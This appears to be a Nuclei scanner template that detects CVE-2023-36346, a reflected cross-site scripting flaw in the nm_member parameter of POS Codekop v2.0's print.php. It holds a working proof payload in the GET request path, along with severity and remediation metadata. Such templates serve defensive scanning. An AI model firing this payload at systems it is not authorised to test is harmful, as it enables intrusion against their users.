POS Codekop v2.0 - Cross Site Scripting

id: CVE-2023-36346

info:
  name: POS Codekop v2.0 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    POS Codekop v2.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the nm_member parameter at print.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://yuyudhn.github.io/pos-codekop-vulnerability/
    - https://www.youtube.com/watch?v=bbbA-q1syrA
    - https://nvd.nist.gov/vuln/detail/CVE-2023-36346
    - http://packetstormsecurity.com/files/173280/Sales-Of-Cashier-Goods-1.0-Cross-Site-Scripting.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-36346
    cwe-id: CWE-79
    epss-score: 0.00107
    epss-percentile: 0.43313
    cpe: cpe:2.3:a:codekop:codekop:2.0:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: codekop
    product: codekop
  tags: cve2023,cve,packetstorm,xss,pos,codekop,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/print.php?nm_member=<script>alert(document.location)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.location)</script>"
          - "<title>print</title>"
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009e3b73e83543aad29fe760dc1db5fe37af306be56393c9926c65237e1566087e022100fbaedc4ef522a795c82b516441b5c8986414a7cf70007ec13d5535577d0db370:922c64590222798bb761d5b6d8e72950